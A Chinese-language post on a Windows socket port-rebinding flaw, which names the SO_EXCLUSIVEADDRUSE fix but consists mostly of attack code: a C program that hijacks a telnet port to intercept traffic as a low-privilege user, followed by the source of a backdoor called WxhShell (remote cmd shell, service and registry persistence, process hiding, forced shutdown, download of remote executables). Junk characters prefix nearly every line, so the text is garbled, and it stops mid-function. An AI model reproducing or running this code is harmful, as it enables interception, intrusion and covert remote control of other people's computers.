在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`R52{B#&/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
fB,1s}3Hn 6cT~irP saddr.sin_family = AF_INET;
|abst&yp #Y>%Dr& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
uPC qO+f &W<>^C2v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S*m`' L[Yp\[#-q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<*Kh=v pkN:D+gS 这意味着什么?意味着可以进行如下的攻击:
0mD;.1: }-q`&1!t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i,Wm{+H-O G1;'nwf} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(GcKaUg8* io r [v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}8F$&
AFt syW9Hlm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:{i$2\DH6 u ?G\b{$m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
FO(0D?PCR jFNs=D&( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g
y e(/N+I q]i(CaKh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5hH6G m,gy9$ #include
|;.Pj3)- #include
$v'Y: #include
[71#@^ye #include
@ "{' j DWORD WINAPI ClientThread(LPVOID lpParam);
1ntkM? int main()
Vy%
:\p+ {
aq0iNbv@ WORD wVersionRequested;
LE<u&9I\ DWORD ret;
WE.$a t{*h WSADATA wsaData;
5Q$r@&qp BOOL val;
x>^3]m SOCKADDR_IN saddr;
b$goF
}b'g SOCKADDR_IN scaddr;
.A*VLF*m int err;
O@r.> SOCKET s;
{7=WU4$ SOCKET sc;
'6o`^u> int caddsize;
i[2bmd!H HANDLE mt;
xI@$aTGq DWORD tid;
YXX36 wVersionRequested = MAKEWORD( 2, 2 );
rQcRjh+E
H err = WSAStartup( wVersionRequested, &wsaData );
5PGlR!^ if ( err != 0 ) {
BSfm?ku"! printf("error!WSAStartup failed!\n");
*^@#X-NG return -1;
h6\3vfj^f }
_(oP{wgB saddr.sin_family = AF_INET;
z/Ns5 <?LfOSdMs^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lh\ICN\O 't|Un G saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'?"t<$b saddr.sin_port = htons(23);
%NT`C9][ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h"%|\o+3 {
v[{8G^Z}54 printf("error!socket failed!\n");
CxbSj, return -1;
9;0V
/y }
*xE"8pN/ val = TRUE;
(C`FicY //SO_REUSEADDR选项就是可以实现端口重绑定的
.M9d*qp`S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Pz]bZPHn {
cOSxg=~>u printf("error!setsockopt failed!\n");
PIZ
C;K4| return -1;
pk-yj~F } }
{ OB-J\7Y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E?3 0J3S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[3O^0-:6E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
nu&_gF,{ op hH9D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;^R A!Nj {
0a"igH} ret=GetLastError();
$%7I: printf("error!bind failed!\n");
Guk.,}9 return -1;
T-4/d5D[ }
$ A-+E\vQ@ listen(s,2);
Ts|--, while(1)
J=I:T2bV&s {
^)&Ly_xrU caddsize = sizeof(scaddr);
Y,k(#=wg //接受连接请求
9$Ig~W) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Z?m
-&% if(sc!=INVALID_SOCKET)
`J72+ RA {
aSc{Ft/O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>(hSW~i~ if(mt==NULL)
:w@F?:C {
IQ ){(Y printf("Thread Creat Failed!\n");
V,V*30K5 break;
,Pn-ZF }
&!ED# gs }
Lp_$?MCD. CloseHandle(mt);
3pvYi<<D' }
,zQo {. closesocket(s);
*yJ[zXXjJ WSACleanup();
w{pUUo:< return 0;
Rv=DI&K%n }
i=YXKe6fD DWORD WINAPI ClientThread(LPVOID lpParam)
{3VZ3i {
J , V SOCKET ss = (SOCKET)lpParam;
KkEv#2n SOCKET sc;
p8Iw!HE unsigned char buf[4096];
>*I N SOCKADDR_IN saddr;
pe9@N9_5 long num;
U#bl=%bF DWORD val;
_5mc(' DWORD ret;
$[g_=Z //如果是隐藏端口应用的话,可以在此处加一些判断
"NDxgJ%J35 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:-?Ct saddr.sin_family = AF_INET;
PocYFhWQ` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
u_PuqRcs saddr.sin_port = htons(23);
`-_N@E1'> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!22yvT.;[ {
'Gjq/L/x printf("error!socket failed!\n");
%JtbRs(~q return -1;
Ow3P-UzU3 }
CswE val = 100;
ZPHXzi3j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nU(DYHc+l {
_d@=nK) ret = GetLastError();
Rs*vm return -1;
1j0 -9Kg' }
q@n^ZzTx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c8{]] {
ahJ1n< ret = GetLastError();
2| B[tt1Z return -1;
DdSSd@,x* }
HRB[GP+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[iS,#w`
5 {
2Vk\L~K printf("error!socket connect failed!\n");
e}0:"R%E closesocket(sc);
xY\0zQ closesocket(ss);
99=s4*xzM return -1;
k%P;w1 }
$Z?\>K0i while(1)
<YFY{VC( {
JN'cXZJPn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7\XE,;4> //如果是嗅探内容的话,可以再此处进行内容分析和记录
f[sF:f(zI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,e`'4H num = recv(ss,buf,4096,0);
?":'O#E if(num>0)
T[?6[,. send(sc,buf,num,0);
^V3v{>D> else if(num==0)
9bJQT'<R break;
xd-XWXc num = recv(sc,buf,4096,0);
8FkFM^\1L if(num>0)
in-C/m# send(ss,buf,num,0);
!k&Q 5s: else if(num==0)
q
o 1lj"P break;
[xb]Wf }
x9W(cKB'S closesocket(ss);
Ae uX Qt closesocket(sc);
kJQ#Wz|z] return 0 ;
~8T(>!hE1h }
|=a}iU8 Xz 4 x ,`A?!.K$ ==========================================================
1w(JEqY3h: o*g|m.SjL 下边附上一个代码,,WXhSHELL
,TJD$^ ULH0'@BJ ==========================================================
} MbH3ufC -fI@])$9J #include "stdafx.h"
HO)/dZNU 8ho[I] #include <stdio.h>
efP&xk #include <string.h>
5kNzv~4B,; #include <windows.h>
{<>K]P~wD #include <winsock2.h>
k>jbcSY(z< #include <winsvc.h>
&sXRN&Fp #include <urlmon.h>
._9
n~=! P^`duZ{T #pragma comment (lib, "Ws2_32.lib")
8vSse #pragma comment (lib, "urlmon.lib")
wCf~O'XLw ORXm&z) #define MAX_USER 100 // 最大客户端连接数
2`GE #define BUF_SOCK 200 // sock buffer
PQKaqv}N #define KEY_BUFF 255 // 输入 buffer
vsWHk7 9 VQ5nq'{v #define REBOOT 0 // 重启
S [h];eM #define SHUTDOWN 1 // 关机
&N~ZI*^ obrl#(\P #define DEF_PORT 5000 // 监听端口
^.k
|SK`U <GHYt#GIZ+ #define REG_LEN 16 // 注册表键长度
5]I| DHmu #define SVC_LEN 80 // NT服务名长度
Z+j\a5d?, R" )bDy? // 从dll定义API
c gzwx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/&F,V+x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
n+lOb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iRg7*MQu typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
joKIrS0y Uj+j}C // wxhshell配置信息
8t@p@Td| struct WSCFG {
]?x:
Qm'yo int ws_port; // 监听端口
Ev7J+TmXM char ws_passstr[REG_LEN]; // 口令
g;$Xq)Dd int ws_autoins; // 安装标记, 1=yes 0=no
p ~noM/*2r char ws_regname[REG_LEN]; // 注册表键名
7\*FEjRM] char ws_svcname[REG_LEN]; // 服务名
'>$]{vQ3 char ws_svcdisp[SVC_LEN]; // 服务显示名
E9?phD char ws_svcdesc[SVC_LEN]; // 服务描述信息
?bM_q_5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N]KxAttt int ws_downexe; // 下载执行标记, 1=yes 0=no
,rJXy_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p.+ho~sC,. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mUS_(0q b'6-dU% };
yQ#:J9HMJ %IC73? // default Wxhshell configuration
CPg+f1K struct WSCFG wscfg={DEF_PORT,
meN2ZB?Y "xuhuanlingzhe",
P/EM : 1,
~QvqG{bFB "Wxhshell",
Y0D}g3` "Wxhshell",
JQ4{` =,b "WxhShell Service",
0b4R "Wrsky Windows CmdShell Service",
K&8dA0i2u2 "Please Input Your Password: ",
<dW]\h?) 1,
!"8fdSfg
w "
http://www.wrsky.com/wxhshell.exe",
5/po2V9) "Wxhshell.exe"
R(n^)^? };
5jUYN-$GO Gs3LB/8? // 消息定义模块
)T;?^kho char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J>u
7, char *msg_ws_prompt="\n\r? for help\n\r#>";
a33TPoj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
K_K5'2dE char *msg_ws_ext="\n\rExit.";
Ur*6Gi6 char *msg_ws_end="\n\rQuit.";
L[=a/|)TBV char *msg_ws_boot="\n\rReboot...";
i\W/C char *msg_ws_poff="\n\rShutdown...";
I4&::y^C char *msg_ws_down="\n\rSave to ";
0{#8',*}m? v%fu char *msg_ws_err="\n\rErr!";
UKM2AZ0lb char *msg_ws_ok="\n\rOK!";
_1U1(^) .nyfYa+ char ExeFile[MAX_PATH];
Br`IW int nUser = 0;
.|/~op4; HANDLE handles[MAX_USER];
C:Hoq( int OsIsNt;
R+Y4| %JLk$sP9y` SERVICE_STATUS serviceStatus;
48Mpf=f` SERVICE_STATUS_HANDLE hServiceStatusHandle;
VO"("7L B9wPU1 // 函数声明
Kw#i),M int Install(void);
;INW`b~ int Uninstall(void);
O9r>E3-q int DownloadFile(char *sURL, SOCKET wsh);
hiUD]5Kp int Boot(int flag);
0pbtH8~ void HideProc(void);
EI^06q4x int GetOsVer(void);
eGX%KT"O int Wxhshell(SOCKET wsl);
Ud!4"<C_ void TalkWithClient(void *cs);
AhNq/?Q Q~ int CmdShell(SOCKET sock);
t
89!Ihk int StartFromService(void);
l\s U int StartWxhshell(LPSTR lpCmdLine);
&SrO) d20gf:@BM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
2"B _At VOID WINAPI NTServiceHandler( DWORD fdwControl );
rs~wv(' o";Z$tAJkC // 数据结构和表定义
>hr{JJe SERVICE_TABLE_ENTRY DispatchTable[] =
u07pq4Ly {
[AW"
D3 {wscfg.ws_svcname, NTServiceMain},
rW0FA {NULL, NULL}
}5(Ho$S( };
B~_d^` s%W<dDINl // 自我安装
fF V!)Zj int Install(void)
1Y]TA3: {
Zib)P & char svExeFile[MAX_PATH];
-]t,E,(! HKEY key;
[!U?}1YQ strcpy(svExeFile,ExeFile);
7K5P8N
, 7Ddaf> // 如果是win9x系统,修改注册表设为自启动
$n^gmhp if(!OsIsNt) {
I:d[Q
s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a!u
rew# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gw}Mw RegCloseKey(key);
A21N|$[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MKWyP+6` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4X*>H RegCloseKey(key);
b/Xbs0q return 0;
<&:=z?30" }
C|?o*fQ }
[l8jRT=R }
J:kmqk! else {
"|HDGA5 Vb'7> // 如果是NT以上系统,安装为系统服务
&zuG81F6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
m-jHze`D3 if (schSCManager!=0)
;-Jb1"5 {
Z*FrB58 SC_HANDLE schService = CreateService
Hp(D);0+) (
|qoKO:B4-[ schSCManager,
}E7:ihy wscfg.ws_svcname,
k}#;Uy=5 wscfg.ws_svcdisp,
Tdc3_<1 SERVICE_ALL_ACCESS,
_H^^y$+1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H&yD*@ SERVICE_AUTO_START,
/By)" SERVICE_ERROR_NORMAL,
&V)6!,rb svExeFile,
Z'k|u4ZC NULL,
1*
]Ev NULL,
8+Td-\IMk NULL,
1c@}C+F+ NULL,
vhb)2n NULL
0W%@gs5d& );
E~kG2x{a if (schService!=0)
$ F S_E {
Zx$ol;Yd CloseServiceHandle(schService);
W<<9y CloseServiceHandle(schSCManager);
wI5Yn
h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
p)~lL strcat(svExeFile,wscfg.ws_svcname);
Ei2%DMN7) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v{<[)cr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
P6Mhbmt9* RegCloseKey(key);
_pH{yhA return 0;
jp+_@S> }
J4YBqp }
WGAXIQ CloseServiceHandle(schSCManager);
{ccIxL
/~ }
;;)`c/$ }
wdvLx 5%}wV,Y return 1;
wl1m*`$ }
$M:3 XAN |/ }\6L] // 自我卸载
1h7+@#<:a int Uninstall(void)
{5|("0[F {
@d&/?^dp6 HKEY key;
&5t :H 8b C;~*pMAYe if(!OsIsNt) {
aTzDew if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7'NS9| RegDeleteValue(key,wscfg.ws_regname);
KL'zXkS RegCloseKey(key);
q_Lo3|t i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>ulY7~wUv RegDeleteValue(key,wscfg.ws_regname);
w-$[>R[hw RegCloseKey(key);
yA[({2% return 0;
*Ul*%!?D }
.C]cK%OO
N }
V#q}Wysft }
y }08~L?2 else {
ZlKw_Sq: Fd\e*ww' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J g$xO@. if (schSCManager!=0)
+{53a_q {
5f:DN\ ] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
r gcWRt if (schService!=0)
Bf4%G,o5 {
u2(eaP8d if(DeleteService(schService)!=0) {
SNT5Am z! CloseServiceHandle(schService);
G&f7+e CloseServiceHandle(schSCManager);
] q~<= return 0;
PKq-@F%X }
;2giZ\ CloseServiceHandle(schService);
%"A_!<n@*` }
m|svQ-/j CloseServiceHandle(schSCManager);
AN9[G }
~=y3Gd
B3 }
p D=w>" +K6szGP return 1;
eR!G[C w- }
hh.Q\qhubB ~y0R'oi // 从指定url下载文件
EA{U!b]cU int DownloadFile(char *sURL, SOCKET wsh)
/owO@~G {
?n'OF pd HRESULT hr;
$;D*
n'8Fx char seps[]= "/";
v@u<Ww;=@ char *token;
msk/p>{O char *file;
8TZENRzx-| char myURL[MAX_PATH];
6/mF2&&g char myFILE[MAX_PATH];
(B`sQw@tu B/eaqJ strcpy(myURL,sURL);
.`C
V^\ token=strtok(myURL,seps);
4Nmea-!* while(token!=NULL)
WtX>Qu| {
w}<^l file=token;
=l`OHTg token=strtok(NULL,seps);
uMFV%+I }
KAb(NZK 6f]r Q9 GetCurrentDirectory(MAX_PATH,myFILE);
jM__{z strcat(myFILE, "\\");
QB1M3b strcat(myFILE, file);
bsO@2NP' send(wsh,myFILE,strlen(myFILE),0);
dbO# send(wsh,"...",3,0);
30 7fBa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
J_ V,XO if(hr==S_OK)
+{rJ[J/g return 0;
A4_>LO_qL else
k:P$LzIB return 1;
Vm!i elbG\qXBp }
(fXq<GXAn/ /4C`k=> // 系统电源模块
F";FG 0 int Boot(int flag)
$pFk"]= {
oCJbkt= HANDLE hToken;
RG?MRxC TOKEN_PRIVILEGES tkp;
aIu2> B| Q6! if(OsIsNt) {
P^(.tr3t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$Sb@zLi) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
37KU~9-A tkp.PrivilegeCount = 1;
3'@&c?Fye tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
eycV@|6u* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=>YvA>izE if(flag==REBOOT) {
&"AQ;%&N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K\X: G-C9 return 0;
(C~dkR? }
m0Z7N5v) else {
j i##$xC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yfq>, return 0;
NUu;tjt: }
h,hL?imD }
`
@>ZGL: else {
.Qk{5=l6P if(flag==REBOOT) {
^^
j/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h60\ Y 8 return 0;
\-G5l+! }
O*4gV }:G else {
O=`o'%K< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Hir(6Bt return 0;
1t%<5O;R }
2*YP"Ryh }
f MzYFM'i TnxU/) return 1;
kc|>Q7~{ }
X?kPi&ru fOJj(0=y // win9x进程隐藏模块
'ucGt void HideProc(void)
W60Q3 {
@92gb$xT aa!a&L|! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^
`E@/<w8 if ( hKernel != NULL )
y\@SC\jk| {
hOl=W |)v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
X-v~o/r7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
v2(U(Tt FreeLibrary(hKernel);
j^rYFS
w:Q }
Jtpa@!M rQ
&S< return;
Ef-a4Pi }
Q{8qm<0g 4%%B0[Wo_O // 获取操作系统版本
(}6wAfGo int GetOsVer(void)
b%<16 4i {
|O%:P}6c OSVERSIONINFO winfo;
Io09W ^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
v<%]XHN GetVersionEx(&winfo);
17|@f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,v|CombIc. return 1;
l~ CZW*/ else
::0aY;D2 return 0;
>QA/Mi~R }
;Sy/N|| ~NA1SZ{Y+ // 客户端句柄模块
ofVEao int Wxhshell(SOCKET wsl)
Tln9q0"W {
EqVsxwa SOCKET wsh;
/cM 5 struct sockaddr_in client;
5DmCxg DWORD myID;
bx;yHIRb zUNH8=U while(nUser<MAX_USER)
4,gol?a {
ZK%Kgk[\:~ int nSize=sizeof(client);
/ *AJ+K._ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VjC*(6<Gj if(wsh==INVALID_SOCKET) return 1;
+SO2M|ru& Gg'<Q.H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
D!c1;IHZ if(handles[nUser]==0)
\nrgAC-b closesocket(wsh);
"[#@;{@Gt else
'y'T'2N3 nUser++;
r9+E'\ }
w:ORmR.p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?s1u#'aO |= tJ| return 0;
y{@P1{ }
Y;'VosTD )>-77\ // 关闭 socket
/#:Rd^ void CloseIt(SOCKET wsh)
5{8x*PSl {
fui4@ closesocket(wsh);
cWgbd^J nUser--;
V"w`! ExitThread(0);
fG X1y }
;% /6Y~/ ZMdM_i? // 客户端请求句柄
b24NL'jm void TalkWithClient(void *cs)
%zA2%cq< {
9@$tiDV JZs|~@ SOCKET wsh=(SOCKET)cs;
pe\Txg6 char pwd[SVC_LEN];
*37LN char cmd[KEY_BUFF];
qk_p}l-F1 char chr[1];
R59e&
int i,j;
} l :mN ~a|^?7@p while (nUser < MAX_USER) {
H arFo ^U-vD[O8 if(wscfg.ws_passstr) {
FBR$,j;Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}}kS~
w-# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y{%4F%Oy //ZeroMemory(pwd,KEY_BUFF);
pb=jvK i=0;
wJapGc! while(i<SVC_LEN) {
XD_P\z 8L]gQ g // 设置超时
,Hik (22 fd_set FdRead;
yRgDhA struct timeval TimeOut;
"i!2=A8k FD_ZERO(&FdRead);
IgzCh FD_SET(wsh,&FdRead);
DBj;P|L_ TimeOut.tv_sec=8;
xHM&csL TimeOut.tv_usec=0;
q#mFN/.(+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
u\Nw:Uu i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yDCooX0 ?=/}Ft if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(&9DB pwd
=chr[0]; "<cB73tY
if(chr[0]==0xd || chr[0]==0xa) { ]>VJ--fH
pwd=0; Q9Y9{T
break; *@\?}cX
} Z4wrXss~
i++; OH-~
} s8f3i\1
^Ff~j&L@{
// 如果是非法用户,关闭 socket e 5WdK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1cHSgpoJ
} hr~qt~Oi
h-?q6O/|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S`GXiwk
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zJy 89ib'
?c=R"Yg$
while(1) { *0Wi^f
j{7ilo(i
ZeroMemory(cmd,KEY_BUFF); C]\^B6l<
5Gw!9{ke
// 自动支持客户端 telnet标准 Y1U"HqNl*
j=0; ])$."g
while(j<KEY_BUFF) { !SO$k%b}!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /QV. U.>G
cmd[j]=chr[0]; V:0uy>
if(chr[0]==0xa || chr[0]==0xd) { Ads<-.R
cmd[j]=0; XoH[MJC
break; e~>p.l
} U'h[{ek
j++; T
,O<LFv
} !q=Q~ea
V\rIN}7
// 下载文件 u]]5p[|S
if(strstr(cmd,"http://")) { v8'`gY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "j.oR}s9?#
if(DownloadFile(cmd,wsh)) v'bd.eqw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X#Dhk6
else
#8Id:56
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FB=
} bWC~Hv
else { i k1L
T^(n+ lv
switch(cmd[0]) { ax{-Qi7z-+
gGiV1jN_
// 帮助 }eDX8b8emA
case '?': { Z:B Y*#B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %:be{Y6
break; ]/VIff
} [y=$2
// 安装 sw qky5_K
case 'i': { &6|^~(P?
if(Install()) !irX[,e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &J&w4"0N'
else l=-dK_I?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P B6/<n9#
break; ZAo)_za&mH
} [[66[;
// 卸载 rD(ep~^M
case 'r': { E~Up\f
if(Uninstall()) ^qzT5W\@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>*''^
else sei!9+bZr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
Uhx2 _
break; C O%O<_C
} /hEGk~
// 显示 wxhshell 所在路径 /w xxcq
case 'p': { ZV<y=F*~f
char svExeFile[MAX_PATH]; .&yWHdQC:
strcpy(svExeFile,"\n\r"); wmcp`8w.
strcat(svExeFile,ExeFile); E Pd.atA
send(wsh,svExeFile,strlen(svExeFile),0); _Fh0^O@
break; \q`+
} _]r)6RT
// 重启 M"$RtS|h
case 'b': { q!oZ; $
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @
H`QLm
if(Boot(REBOOT)) x]J-q5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QsF<=b~
else { )J6b:W
closesocket(wsh); Z%n.:I<%ZV
ExitThread(0); \7tvNa,C
} "KTnX#<0
break; V_d%g<n4
} \-iUuHP
// 关机 #/v_h6$
case 'd': { n_Hnk4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !/(}meZj
if(Boot(SHUTDOWN)) n]{}C.C=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B l/e>@M
else { .-26 N6S
closesocket(wsh); ~V-
o{IA
ExitThread(0); vAhO!5]>\
} b!HFv;^N
break; gGdYh.K&e5
} 7<Js'\Z
// 获取shell U)%u`C0
case 's': { 5F+ f '~
CmdShell(wsh); #<>E+r+
closesocket(wsh); &+{xR79+&
ExitThread(0); +~k,4
break; L#@$Mtc
} ^yZSCrPGI
// 退出 4sE=WPKF#
case 'x': {
8=Y|B5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KQZ RzX>0
CloseIt(wsh); ~4` ec
break; &ziB#(&:H
} '0M0F'R
// 离开 vgZPDf|
case 'q': { iw;Alav"x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^B=z_0 *
closesocket(wsh); :*%\i' $!/
WSACleanup(); kV%y%l(6
exit(1); pG=zGx4
break; "MP{z~Mmj
} yXl.Gq>]{
} Y k6WSurw
} FsZEB/c
XxQ2g&USk
// 提示信息 ;.m[&h 0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8>+eGz|
} }slEkpk?]
} Z{)|w=
o|.me G
return; X
KeK;+
} $}o,7xAn
1:V/['|*g)
// shell模块句柄 RaqrVC
int CmdShell(SOCKET sock) l%w|f`B:
{ t?&ajh
STARTUPINFO si; P9~kN|
ZeroMemory(&si,sizeof(si)); ECfY~qK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }E_zW.{!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~t$VzL1
PROCESS_INFORMATION ProcessInfo; Fd0FG A&L
char cmdline[]="cmd"; Qd=/e pkm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SK2pOZN
return 0; tjL#?j
} aMD?^
9$t@Gmn
// 自身启动模式 /;[')RO`
int StartFromService(void) t*$@QO
{ v2SsfhT
typedef struct s@9#hjv2
{ |LhuZ_;1xo
DWORD ExitStatus; oOvbel`;
DWORD PebBaseAddress; <CdO& xUY
DWORD AffinityMask; yw^,@'
DWORD BasePriority; 7wiu%zfa:=
ULONG UniqueProcessId; 3?<vnpN=5d
